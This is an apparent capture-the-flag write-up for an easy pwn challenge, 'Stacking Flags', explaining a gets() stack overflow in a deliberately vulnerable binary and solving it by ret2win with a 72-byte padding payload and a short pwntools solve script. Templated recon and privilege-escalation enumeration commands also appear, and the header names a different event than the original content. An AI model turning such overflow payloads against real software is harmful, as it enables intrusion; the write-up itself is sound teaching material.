← Back to Writeups
HTBN/APwn

Stacking Flags

XESXOR8/23/20263 min read
#pwn#htb#n/a

Stacking Flags

Platform: Metactf | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: ret2win, saved_rip_overwrite

Summary

Task: a remote service runs a non-PIE binary with a 64-byte stack buffer fed by gets() and a hidden win() routine that prints the flag. Solution: overflow 72 bytes to overwrite saved RIP with the fixed win() address and return directly into the flag-printing function.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: metactf | ID: 20260410_metactf_stacking_flags
  • Tags: buffer_overflow, stack_overflow, gets, ret2win, no_pie, no_canary
  • Indicators: gets() reads into a fixed 64-byte stack buffer, the binary is compiled without stack protector, PIE is disabled so win() keeps a fixed address, a hidden win() function prints the flag file
  • Source: 20260410_metactf_stacking_flags.md

Foothold

Vulnerability / Misconfiguration

  1. Ret2win
  2. Saved_rip_overwrite
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • ret2win
  • saved_rip_overwrite
  • Tags: buffer_overflow, stack_overflow, gets, ret2win, no_pie, no_canary

Original Writeup

<details><summary>Click to expand original content</summary>

Challenge

A server at nc.umbccd.net:8921 is hosting the same code, but theirs has a flag, retrieve it. https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20flags

We are given the source for a small 64-bit ELF and a remote host running the same program. The goal is to redirect execution into the hidden win() function, which opens flag.txt, prints its contents, and exits.

Analysis

The vulnerability is immediate: vulnerable_function() allocates a 64-byte stack buffer and calls gets(buffer). Since gets() performs no bounds checking, we can overwrite saved control data on the stack.

Several binary properties make this a textbook ret2win:

  • Stack canaries are disabled by -fno-stack-protector.
  • PIE is disabled by -no-pie, so win() has a stable address.
  • NX is irrelevant because we do not need shellcode; we only need to return into an existing function.

On x86_64, the overwrite distance to saved RIP is 72 bytes: 64 bytes for the buffer and 8 bytes for saved RBP. The remote banner confirmed win() at 0x4011a6, so the payload is simply padding followed by that address in little-endian form.

Exploitation

  1. Connect to nc.umbccd.net:8921.
  2. Send b"A" * 72 + p64(0x4011a6).
  3. When vulnerable_function() returns, execution jumps to win() instead of back to main().
  4. win() reads flag.txt and prints the flag.

Benign input only reaches the normal program output:

win() is at: 0x4011a6
Better luck next time!

With the crafted payload, the service returns:

DawgCTF{REDACTED}

Solve Script

#!/usr/bin/env python3
from pwn import *

HOST = "nc.umbccd.net"
PORT = 8921
WIN = 0x4011A6
OFFSET = 72


def main():
    io = remote(HOST, PORT)
    payload = b"A" * OFFSET + p64(WIN)
    io.sendline(payload)
    io.interactive()


if __name__ == "__main__":
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR